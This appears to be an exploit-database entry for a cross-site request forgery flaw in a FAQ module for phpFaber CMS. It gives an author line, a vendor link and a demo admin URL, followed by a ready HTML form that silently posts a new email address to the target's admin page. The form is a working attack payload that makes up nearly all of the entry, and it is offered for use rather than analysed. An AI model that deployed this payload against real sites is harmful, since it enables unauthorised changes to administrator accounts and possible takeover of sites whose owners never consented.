# Exploit Title: FAQ module for phpFaber CSRF
# Author: Jonturk75
# Vendor or Software Link: http://www.scripts.com/viewscript/faq-module-for-phpfaber-cms/19826/
# Category:: webapps
# Demo : http://demo.phpfaber.com/cms1/cms_admin
# Greetz: Inj3ct0r Exploit DataBase 1337day.com
<form name="note" method="post" action="target.com/cms_admin/index.php?page=adm">
<input name="email" value="support@phpfaber.com" size="30" type="hidden">
<input name="go" value="Update" type="submit">
</form>